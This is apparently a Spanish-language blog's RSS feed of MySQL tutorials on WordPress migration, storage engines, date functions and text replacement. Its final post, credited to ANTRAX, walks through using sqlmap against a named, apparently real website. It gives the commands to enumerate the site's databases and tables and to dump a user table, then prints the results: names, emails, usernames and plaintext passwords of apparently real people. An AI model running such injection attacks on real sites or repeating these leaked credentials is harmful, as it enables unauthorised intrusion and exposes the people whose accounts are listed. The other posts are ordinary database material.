<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mysql &#8211; Emanuel Paxtian</title>
	<atom:link href="https://emanuelpaxtian.com/blog/category/mysql/feed/" rel="self" type="application/rss+xml" />
	<link>https://emanuelpaxtian.com/blog</link>
	<description></description>
	<lastBuildDate>Wed, 06 Jul 2016 17:38:20 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>Que cambiar en la base de datos al migrar WordPress de un dominio a otro</title>
		<link>https://emanuelpaxtian.com/blog/que-cambiar-en-la-base-de-datos-al-migrar-wordpress-de-un-dominio-a-otro/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Sun, 03 Jul 2016 02:53:31 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<category><![CDATA[Wordpress]]></category>
		<guid isPermaLink="false">https://emanuelpaxtian.com/blog/?p=982</guid>

					<description><![CDATA[A mucho de nosotros no nos gusta usar plugins para hacer ciertas modificaciones en nuestras paginas por lo cual recurrimos siempre realizar los cambios de manera manual. Hoy les mostrare&#8230;]]></description>
										<content:encoded><![CDATA[<p>A mucho de nosotros no nos gusta usar plugins para hacer ciertas modificaciones en nuestras paginas por lo cual recurrimos siempre realizar los cambios de manera manual.</p>
<p>Hoy les mostrare como realizar la migración de un dominio a otro por ejemplo tenemos el <strong>dominioantiguo.com</strong> y queremos migrar todas nuestras entradas de wordpress al dominio <strong>nuevodominio.com</strong> lo que tenemos que hacer es descargar todos nuestros archivos del dominio viejo y la subimos al nuevo dominio configuramos nuestra base de datos y cambiamos los nuevo parámetros en el archivo <strong>wp-config.php</strong> donde cambiaremos los datos del usuario y la clave de acceso y el nombre de la base de datos en caso de que hubiésemos cambiado el nombre.</p>
<p>Luego lo mas importante es en nuestra base de datos cambiar las referencias del antiguo sitio al nuevo para lo cual ejecutaremos la siguiente consulta SQL donde cambiaremos la dirección del antiguo dominio por el nuevo </p>
<pre class="brush: sql; title: ; notranslate">
SET @antiguo='http://antiguo.com'; 
SET @nuevo='http://nuevo.com';
UPDATE wp_options SET option_value = replace(option_value, @antiguo, @nuevo) WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET post_content = replace(post_content, @antiguo, @nuevo);
UPDATE wp_links SET link_url = replace(link_url, @antiguo, @nuevo);
UPDATE wp_postmeta SET meta_value = replace(meta_value, @antiguo, @nuevo);

</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>¿MyISAM o InnoDB? Elige tu motor de almacenamiento MySQL</title>
		<link>https://emanuelpaxtian.com/blog/myisam-o-innodb-elige-tu-motor-de-almacenamiento-mysql/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Fri, 12 Feb 2016 17:15:09 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://psoluciones.net/?p=973</guid>

					<description><![CDATA[El motor de almacenamiento (storage-engine) se encarga de almacenar, manejar y recuperar información de una tabla. Los motores más conocidos son MyISAM e InnoDB. La elección de uno u otro&#8230;]]></description>
										<content:encoded><![CDATA[<div class="entry-content">
<p>El <strong>motor de almacenamiento</strong> (<em>storage-engine</em>) se encarga de almacenar, manejar <strong>y recuperar información de una tabla</strong>. Los motores más conocidos son <strong>MyISAM</strong> e <strong>InnoDB</strong>. La elección de uno u otro dependerá mucho del escenario donde se aplique, pero <a href="http://www.arsys.es/"><strong>arsys.es</strong></a> quiere ayudarnos a conocer mejor estos conocidos motores de almacenamiento.</p>
<p>En la elección se pretende conseguir la mejor relación de calidad acorde con nuestra aplicación.<strong>Si necesitamos transacciones</strong>, claves foráneas y bloqueos, tendremos que escoger <strong>InnoDB</strong>. Por el contrario, <strong>escogeremos MyISAM</strong> en aquellos casos en los que predominen las <strong>consultas SELECT a la base de datos</strong>.</p>
<p><strong>InnoDB</strong> dota a MySQL de un motor de almacenamiento transaccional (conforme a ACID) con capacidades de commit (confirmación), rollback (cancelación) y recuperación de fallos. InnoDB realiza bloqueos a nivel de fila y también proporciona funciones de lectura consistente sin bloqueo al estilo Oracle en sentencias SELECT. Estas características incrementan el rendimiento y la capacidad de gestionar múltiples usuarios simultáneos. No se necesita un bloqueo escalado en InnoDB porque los bloqueos a nivel de fila ocupan muy poco espacio. InnoDB también soporta restricciones FOREIGN KEY. En consultas SQL, aún dentro de la misma consulta, pueden incluirse libremente tablas del tipo InnoDB con tablas de otros tipos.</p>
<p><strong>MyISAM</strong> es el motor por defecto. Para crear una tabla InnoDB se debe especificar la opción ENGINE = InnoDB o TYPE = InnoDB en la sentencia SQL de creación de tabla:</p>
<p><em>CREATE TABLE customers (a INT, b CHAR (20), INDEX (a)) ENGINE=InnoDB;</em></p>
<p><em>CREATE TABLE customers (a INT, b CHAR (20), INDEX (a)) TYPE=InnoDB;</em></p>
<p>&nbsp;</p>
<p><strong>Ventajas: MyISAM vs InnoDB</strong></p>
<p><strong>InnoDB</strong></p>
<ul>
<li>Soporte de transacciones</li>
<li>Bloqueo de registros</li>
<li>Nos permite tener las características ACID (Atomicity, Consistency, Isolation and Durability: Atomicidad, Consistencia, Aislamiento y Durabilidad en español), garantizando la integridad de nuestras tablas.</li>
<li>Es probable que si nuestra aplicación hace un uso elevado de INSERT y UPDATE notemos un aumento de rendimiento con respecto a MyISAM.</li>
</ul>
<p><strong>MyISAM</strong></p>
<ul>
<li>Mayor velocidad en general a la hora de recuperar datos.</li>
<li>Recomendable para aplicaciones en las que dominan las sentencias SELECT ante los INSERT / UPDATE.</li>
<li>Ausencia de características de atomicidad ya que no tiene que hacer comprobaciones de la integridad referencial, ni bloquear las tablas para realizar las operaciones, esto nos lleva como los anteriores puntos a una mayor velocidad.</li>
</ul>
<p><strong>¿Aún tienes dudas de qué motor es el que necesitas? Te ayudamos a tomar tu decisión</strong></p>
<p>¿Tu tabla va a recibir INSERTs, UPDATEs y DELETES mucho más tiempo de lo que será consultada?  Te recomendamos InnoDB</p>
<p>¿Necesitarás hacer búsquedas full-text?   Tu motor ha de ser MyISAM</p>
<p>¿Prefieres o requieres diseño relacional de bases de datos?  Entonces necesitas InnoDB</p>
<p>¿Es un problema el espacio en disco o memoria RAM?  Decántate por MyISAM</p>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>MYSQL, CAMBIAR EL FORMATO DE LAS FECHAS EN EL RESULTADO DE UNA SELECT</title>
		<link>https://emanuelpaxtian.com/blog/mysql-cambiar-el-formato-de-las-fechas-en-el-resultado-de-una-select/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Tue, 28 Jul 2015 16:28:02 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://psoluciones.net/?p=868</guid>

					<description><![CDATA[Las fechas en base de datos se almacena con el formato americano ‘YYYY-mm-dd‘, por ejemplo ‘2010-10-02′. En Latinoamérica lo normal es presentar las fechas en el orden inverso ‘dd-mm-YYYY’, quedando la&#8230;]]></description>
										<content:encoded><![CDATA[<p>Las fechas en base de datos se almacena con el formato americano ‘<strong>YYYY-mm-dd</strong>‘, por ejemplo ‘2010-10-02′. En Latinoamérica lo normal es presentar las fechas en el orden inverso ‘dd-mm-YYYY’, quedando la fecha así ’02-10-2010′.</p>
<p>Si queremos cambiar el formato de las fechas en los resultados de una consulta en MySQL debemos utilizar la función “<strong>DATE_FORMAT</strong>” que permite indicar qué patrón se debe aplicar para convertir las fechas y mostrarlas en el formato correcto.</p>
<p>Vamos a ver en un pequeño ejemplo el uso de “<strong>DATE_FORMAT</strong>” en una consulta MySQL. Partimos de una tabla “Persona” con un campo llamado “Fecha_nacimiento” de tipo ‘date’. Si hacemos la siguiente consulta para obtener el listado de todas las personas:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT Nombre, Fecha_Nacimiento FROM Persona;
</pre>
<p>Obtendremos una salida como esta:</p>
<pre class="brush: plain; title: ; notranslate">
NOMBRE | FECHA_NACIMIENTO
-------------------------
AMPARO | 1969-05-12
LUIS | 1980-06-01
</pre>
<p>Como se puede comprobar, las fechas no salen en el formato que nosotros queremos. Para ello vamos a cambiar la consulta utilizando “<strong>DATE_FORMAT</strong>” indicando cómo queremos que muestren las fechas en la tabla de resultados de la consulta:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT Nombre, DATE_FORMAT(Fecha_Nacimiento, &quot;%d-%m-%Y&quot;) FROM Persona;
</pre>
<p>Si ejecutamos la consulta de nuevo, ahora veremos en los resultados obtenido la fecha aparece con el formato en el que queríamos:</p>
<pre class="brush: plain; title: ; notranslate">
NOMBRE | FECHA_NACIMIENTO
-------------------------
AMPARO | 12-05-1969
LUIS | 01-06-1980
</pre>
<p>También podremos indicar el separado que queremos utilizar en la fecha. Podemos indica que en vez de los ‘-‘ el separador sea ‘/&#8217;:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT Nombre, DATE_FORMAT(Fecha_Nacimiento, &quot;%d/%m/%Y&quot;) FROM Persona;
</pre>
<p>Quedando ahora una salida como la siguiente:</p>
<pre class="brush: plain; title: ; notranslate">
NOMBRE | FECHA_NACIMIENTO
-------------------------
AMPARO | 12/05/1969
LUIS | 01/06/1980
</pre>
<p>Para consultar más opciones de formato de fecha en MySql consultar la <a href="http://dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html#function_date-format" target="_blank">documentación oficial de de MySQL</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>¿Cómo buscar y reemplazar un texto en MySQL utilizando UPDATE y REPLACE?</title>
		<link>https://emanuelpaxtian.com/blog/aca%c2%b3mo-buscar-y-reemplazar-un-texto-en-mysql-utilizando-update-y-replace/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Tue, 02 Jun 2015 09:44:37 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://aa02fmysql_logo_intro.jpg</guid>

					<description><![CDATA[MySQL tiene una funci&#243;n llamada&#160;REPLACE()&#160;que permite buscar una cadena de texto para ser reemplazada por otra dentro las tablas de una base de datos. Es &#250;til cuando tenemos una gran&#8230;]]></description>
										<content:encoded><![CDATA[<p><span>MySQL tiene una funci&oacute;n llamada&nbsp;</span><strong>REPLACE()</strong><span>&nbsp;que permite buscar una cadena de texto para ser reemplazada por otra dentro las tablas de una base de datos. Es &uacute;til cuando tenemos una gran cantidad de registros y queremos realizar una modificaci&oacute;n en forma masiva en todos ellos con una sola consulta.</span></p>
<pre class="brush:sql">update 'nombre_tabla' set nombre_campo= replace(nombre_campo, 'palabra_a_encontrar', 'palabra_a_reemplazar');</pre>
<p>&nbsp;<span>Ejemplo:</span></p>
<pre class="brush:sql">update 'noticias' set titulo= replace(titulo, 'Nombre anterior', 'Nombre nuevo');</pre>
<p>&nbsp;<span>El ejemplo anterior, busca en la tabla&nbsp;</span><em>noticias</em><span>, en el campo&nbsp;</span><em>titulo</em><span>, todos los registros que contengan las palabras&nbsp;</span><strong><em>Nombre anterior</em></strong><span>&nbsp;y los reemplaza por&nbsp;</span><strong><em>Nombre nuevo</em></strong><span>.</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Tipos de bases de datos.</title>
		<link>https://emanuelpaxtian.com/blog/tipos-de-bases-de-datos/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Wed, 27 May 2015 17:54:49 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://6d247bases.png</guid>

					<description><![CDATA[Las bases de datos son indispensables a la hora de desarrollar un sitio web o una app. Constituyen una parte vital para el almacenamiento y la correlación del contenido y&#8230;]]></description>
										<content:encoded><![CDATA[<p>Las bases de datos son indispensables a la hora de desarrollar un sitio web o una app. Constituyen una parte vital para el almacenamiento y la correlación del contenido y dotan de sentido todas las estructuras que construyen</p>
<p><img decoding="async" src="../fotos/74cfa46a7ebee98b952ccd699f97b26d.jpg" alt="" border="0" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Eliminar usuario de MySQL</title>
		<link>https://emanuelpaxtian.com/blog/eliminar-usuario-de-mysql/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Thu, 27 Nov 2014 14:05:42 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://78a950310053.jpg</guid>

					<description><![CDATA[Para poder eliminar usuarios de una base de datos MySQL tenemos el comandoDROP USER: &#160; Si indicamos la combinación usuario@host podemos eliminar el acceso del usuario para esos determinados hosts, por ejemplo: mysql&#62; drop&#8230;]]></description>
										<content:encoded><![CDATA[<p>Para poder eliminar usuarios de una base de datos <strong>MySQL</strong> tenemos el comando<strong>DROP USER</strong>:</p>
<p>&nbsp;</p>
<p>Si indicamos la combinación <strong>usuario@host</strong> podemos eliminar el acceso del usuario para esos determinados hosts, por ejemplo:</p>
<pre class="brush: sql">mysql&gt; drop user 'joffrey'@'casterlyrock.com', 'joffrey'@'kingslanding.com';
</pre>
<p>Si indicamos únicamente el usuario, lo eliminaremos completamente, para todos los hosts:</p>
<pre class="brush: sql">mysql&gt; drop user joffrey;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Apache CouchDB, Bases de datos con JSON</title>
		<link>https://emanuelpaxtian.com/blog/apache-couchdb-bases-de-datos-con-json/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Wed, 27 Aug 2014 11:54:49 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://4847ccouchdb-1408462271000_alarge.jpg</guid>

					<description><![CDATA[Generalmente usamos sistemas de base de datos relacionales para desarrollar sitios web, sin embargo hay momentos en que las bases de datos relacionales no son la mejor opción para crear&#8230;]]></description>
										<content:encoded><![CDATA[<p>Generalmente usamos sistemas de base de datos relacionales para desarrollar sitios web, sin embargo hay momentos en que las bases de datos relacionales no son la mejor opción para crear sistemas que tengan tiempos de respuesta bajos como chats en tiempo real por ejemplo.</p>
<p><a href="http://couchdb.apache.org/" target="_blank">Apache CouchDB</a> es un sistema de base de datos basado en documentos <strong>JSON</strong>, que puede ser manipulado mediante <strong>JavaScript</strong> y accedido por <strong>HTTP</strong>, perfecto para las aplicaciones web de esta década, que requieren acceso a datos rápido y que sea compatible con NodeJS, para hacer aplicaciones en tiempo real.</p>
<p>El sistema de base de datos es muy completo, seguro y fácil de usar. La administración puede hacerse mediante consola con CURL o a través de la interfaz web Futon. El acceso a los datos se hace mediante Api HTTP y la manipulación se hace mediante <strong>MapReduce</strong> de JavaScript por lo que es muy fácil crear funciones para seleccionar los datos.</p>
<p>No es algo para descartar, y representa un muy buena alternativa para crear aplicaciones Web y móviles, sobretodo si necesitan un rápido acceso a datos.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Funciones de Fecha y Hora en MySQL</title>
		<link>https://emanuelpaxtian.com/blog/funciones-de-fecha-y-hora-en-mysql/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Tue, 01 Jul 2014 12:03:47 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://d2908calendar.jpg</guid>

					<description><![CDATA[Vamos a ver algunas funciones básicas para fecha y hora, estas funciónes son usadas para manipular el formato como se mostrara una fecha y una hora. CURDATE() : Esta función&#8230;]]></description>
										<content:encoded><![CDATA[<p>Vamos a ver algunas funciones básicas para fecha y hora, estas funciónes son usadas para manipular el formato como se mostrara una fecha y una hora.</p>
<p><strong>CURDATE() :</strong></p>
<p>Esta función devuelve la fecha actual en formato &#8216;YYYY-MM-DD&#8217; o &#8216;YYYYMMDD&#8217; (Año-Mes-Día)</p>
<blockquote><p>mysql&gt; select curdate();<br />
&#8211;&gt; 2007-01-03</p></blockquote>
<p><strong>CURTIME() :</strong></p>
<p>Devuelve la hora actual en formato &#8216;HH:MM:SS&#8217; o &#8216;HHMMSS&#8217;.</p>
<blockquote><p>mysql&gt; select curtime();<br />
&#8211;&gt; 17:33:07</p></blockquote>
<p><strong>DATEDIFF(expression1,expression2) :</strong></p>
<p>expression1 y expression2 son expresiones fecha o fecha-y-hora. Esta función devuelve expression1 – expression2 expresados como un valor en días de una fecha a la otra. Aquí sólo las partes de fecha serán consideradas para el cálculo.</p>
<blockquote><p>mysql&gt; select datediff(&#8216;2007-2-6 17:33:25&#8242;,&#8217;2007-1-1&#8217;);<br />
&#8211;&gt; 36</p></blockquote>
<p><strong>DATE_ADD(fechahora, INTERVAL tipo expresión fechahora) :</strong></p>
<p>Esta función de fecha añade la expresión a la datetime suministrada.</p>
<blockquote><p>mysql&gt; select date_add(&#8216;2007-1-14&#8217;, interval 15 day);<br />
&#8211;&gt; 2007-01-29</p></blockquote>
<p>Esta función es la misma para DATE_SUB, pero tomará lugarsubstrayéndola en vez de añadiéndola.</p>
<p><strong>DAYNAME(fecha) :</strong></p>
<p>Devuelve el nombre del día para una fecha especificada.</p>
<blockquote><p>mysql&gt; select dayname(&#8216;2007-01-04&#8217;);<br />
&#8211;&gt; Thursday</p></blockquote>
<p><strong>DAYOFMONTH(fecha) or DAY(fecha) :</strong></p>
<p>Devuelve la fecha para el día del mes en el rango de 1 a 31. DAY () es un sinónimo para DAYOFMONTH().</p>
<blockquote><p>mysql&gt; select dayofmonth(&#8216;2007-01-04&#8217;);<br />
&#8211;&gt; 4</p></blockquote>
<p><strong>DAYOFWEEK(fecha) :</strong></p>
<p>Devuelve el día de la semana en formato numérico como 1 para Domingo hasta 7 para Sábado.</p>
<blockquote><p>mysql&gt; select dayofweek(&#8216;2007-01-04&#8217;);<br />
&#8211;&gt; 5</p></blockquote>
<p><strong>DAYOFYEAR(fecha) :</strong></p>
<p>Devuelve el día del año para la fecha dada en formato numérico, en rago de 1 a 366.</p>
<blockquote><p>mysql&gt; select dayofyear(&#8216;2007-07-09&#8217;);<br />
&#8211;&gt; 190</p></blockquote>
<p><strong>HOUR(hora) :</strong></p>
<p>Devuelve la hora del tiempo especificado en formato numérico de 0 a 23.</p>
<blockquote><p>mysql&gt; select hour(&#8217;14:46:12&#8242;);<br />
&#8211;&gt; 14</p></blockquote>
<p><strong>MINUTE(hora) :</strong></p>
<p>Devuelve el minuto del tiempo especificado en formato numérico de 0 a 59.</p>
<blockquote><p>mysql&gt; select minute(&#8217;14:46:12&#8242;);<br />
&#8211;&gt; 46</p></blockquote>
<p><strong>MONTH(fecha) :</strong></p>
<p>Devuelve el mes para la fecha dada en formato numérico en rango de 0 a 12.</p>
<blockquote><p>mysql&gt; select month(&#8216;2007-07-09&#8217;);<br />
&#8211;&gt; 7</p></blockquote>
<p><strong>MONTHNAME(fecha) :</strong></p>
<p>Devuelve el nombre del mes para la fecha especificada.</p>
<blockquote><p>mysql&gt; select monthname(&#8216;2007-07-09&#8217;);<br />
&#8211;&gt; July</p></blockquote>
<p><strong>NOW() :</strong></p>
<p>Esta función de fecha devuelve la fecha y hora actual en formato &#8216;YYYY-MM-DD HH:MM:SS&#8217; o YYYYMMDDHHMMSS (Año-Mes-Día Hora:Minuto:Segundo)</p>
<blockquote><p>mysql&gt; select now();<br />
&#8211;&gt; 2007-01-04 14:56:15</p></blockquote>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Buscar solo fecha en un campo datetime en mysql</title>
		<link>https://emanuelpaxtian.com/blog/buscar-solo-fecha-en-un-campo-datetime-en-mysql/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Sun, 29 Jun 2014 14:45:03 +0000</pubDate>
				<category><![CDATA[Mysql]]></category>
		<guid isPermaLink="false">https://58c3amysql-datetime-arithmetic.png</guid>

					<description><![CDATA[En algunas ocasiones deseamos buscar en un campo datetime de mysql solo la fecha esto es algo relativamente fácil para ellos deberemos usar date() quedando de esta forma nuestra consulta. &#160;&#8230;]]></description>
										<content:encoded><![CDATA[<p>En algunas ocasiones deseamos buscar en un campo datetime de mysql solo la fecha esto es algo relativamente fácil para ellos deberemos usar date() quedando de esta forma nuestra consulta.</p>
<p>&nbsp;</p>
<pre class="brush: sql">Select * from tablas where date(campo_datetime)=’2014-06-15’</pre>
<p>De esta forma estamos indicando que nomás filtre por la fecha que si no pusiéramos date nos buscaría datos exactos hasta en los segundos</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Inyecciones sql automatizadas con SQLMAP</title>
		<link>https://emanuelpaxtian.com/blog/inyecciones-sql-automatizadas-con-sqlmap/</link>
		
		<dc:creator><![CDATA[Psoluciones]]></dc:creator>
		<pubDate>Sun, 06 Apr 2014 23:04:22 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[Seguridad]]></category>
		<guid isPermaLink="false">https://f963esqlmap_1_.png</guid>

					<description><![CDATA[En este tutorial veremos como obtener los datos de admin de una base de datos utilizando SQLMAP. Para este tutorial se usara Backtrack, ya que viene instalado y está listo&#8230;]]></description>
										<content:encoded><![CDATA[<p>En este tutorial veremos como obtener los datos de admin de una base de datos utilizando SQLMAP.<br />
Para este tutorial se usara Backtrack, ya que viene instalado y está listo para usarse</p>
<p>Para abrirlo vamos a:</p>
<p><strong>Applications  &gt;&gt;  Backtrack  &gt;&gt;  Exploitation Tools  &gt;&gt;  Web Exploitation Tools  &gt;&gt;  sqlmap</strong></p>
<p>A penas abrimos sqlmap, podremos ver todos los parámetros disponibles, ahora solo usaremos los elementales.</p>
<div class="separator"> <img fetchpriority="high" decoding="async" src="../fotos/2.png" alt="" width="604" height="418" border="0" /></div>
<p>Voy a usar una web vulnerable <strong>smartenergyhome.eu</strong><br />
Las querys las haremos desde aquí: <strong>smartenergyhome.eu/eng/seh-buildings.php?id=9 </strong></p>
<p><strong>Extracción de información</strong></p>
<p>Comenzaremos sacando los nombres de las bases de datos, para ello tipeamos:</p>
<p><strong>python sqlmap.py -u target.com/index.php?id=9 &#8211;dbs</strong></p>
<div class="separator"> <img decoding="async" src="../fotos/3.png" alt="" width="669" height="72" border="0" /></div>
<p>El programa comenzara a buscar las bases de datos y las mostrara una vez que finalice de correr</p>
<div class="separator"> <img decoding="async" src="../fotos/4.png" alt="" width="669" height="315" border="0" /></div>
<p>En mi caso me trajo 2, de las cuales una es por el cpanel y la otra es de la web.<br />
La que usaremos será la segunda “<strong>smartene_SEH</strong>”<br />
Ahora que tenemos el nombre de la base de datos, sigue buscar las tablas que posee, para ello vamos a tipear:</p>
<p><strong>python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH &#8212; tables</strong></p>
<div class="separator"> <img loading="lazy" decoding="async" src="../fotos/5.png" alt="" width="669" height="27" border="0" /></div>
<p>Este comando nos arrojara todas las tablas que tiene el sistema, y obviamente debemos buscar alguna que contenga datos de administradores para podernos loguear</p>
<div class="separator"> <img loading="lazy" decoding="async" src="../fotos/6.png" alt="" width="260" height="253" border="0" /></div>
<p>En mi caso, la última tabla tiene el nombre “usuarios” por lo tanto, esa debe ser la tabla que tiene los datos de los admines.<br />
Ahora veremos las columnas que tiene esa tabla de usuarios, para ver si en verdad tiene algún usuario y contraseña para luego entrar al panel de admin…<br />
Ahora que conocemos el nombre de la tabla, vamos a tipear ahora lo siguiente:</p>
<p><strong>python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios &#8212; columns</strong></p>
<div class="separator"> <img loading="lazy" decoding="async" src="../fotos/7.png" alt="" width="668" height="34" border="0" /></div>
<p>Esto nos devolverá los nombres de las columnas que tiene dicha tabla.</p>
<div></div>
<div class="separator"> <img loading="lazy" decoding="async" src="../fotos/8.png" alt="" width="323" height="232" border="0" /></div>
<div></div>
<div>Como podemos ver, hemos dado con la tabla que buscábamos. Esta tabla posee usuarios y contraseñas.<br />
Para poder ver que datos contiene esta tabla, vamos a tipear:</div>
<div><strong>python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios &#8211; -dump</strong></div>
<div>Una vez ejecutado el comando, nos dará los datos que contiene esa tabla</div>
<div></div>
<div class="separator"> <img loading="lazy" decoding="async" src="../fotos/10.png" alt="" width="668" height="168" border="0" /></div>
<div></div>
<div></div>
<div>
<div >
<div class="toolbar"><a href="http://www.antrax-labs.org/2012/10/sqli-automatizado-con-sqlmap.html">?</a></div>
<table class="table table-hover">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="text plain">+----+------------------------+------------------+----------+---------------------+----------+</code></div>
<div class="line number2 index1 alt1"><code class="text plain">| id | email                  | nombre           | usuario  | editado             | password |</code></div>
<div class="line number3 index2 alt2"><code class="text plain">+----+------------------------+------------------+----------+---------------------+----------+</code></div>
<div class="line number4 index3 alt1"><code class="text plain">| 1  | g.zapico@netavanza.com | Gustavo Zapico   | gzapico  | 2009-03-02 06:02:34 | medica3  |</code></div>
<div class="line number5 index4 alt2"><code class="text plain">| 2  | genis@vis-tek.com      | Gen\xeds Bayarri | gbayarri | 2009-03-02 06:20:37 | vis-tek  |</code></div>
<div class="line number6 index5 alt1"><code class="text plain">| 3  | j.berg@bwcv.es         | Josefin Berg     | jberg    | 2009-03-12 05:05:38 | seh2009  |</code></div>
<div class="line number7 index6 alt2"><code class="text plain">| 4  | l.bax@bwcv.es          | Laszlo Bax       | lbax     | 2010-03-26 16:46:18 | seh2009  |</code></div>
<div class="line number8 index7 alt1"><code class="text plain">+----+------------------------+------------------+----------+---------------------+----------+</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div>Al ser este un tutorial educativo, no ingresaremos al sistema. Simplemente se expone el manejo de esta poderosa herramienta.</div>
<div>Por: ANTRAX</div>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
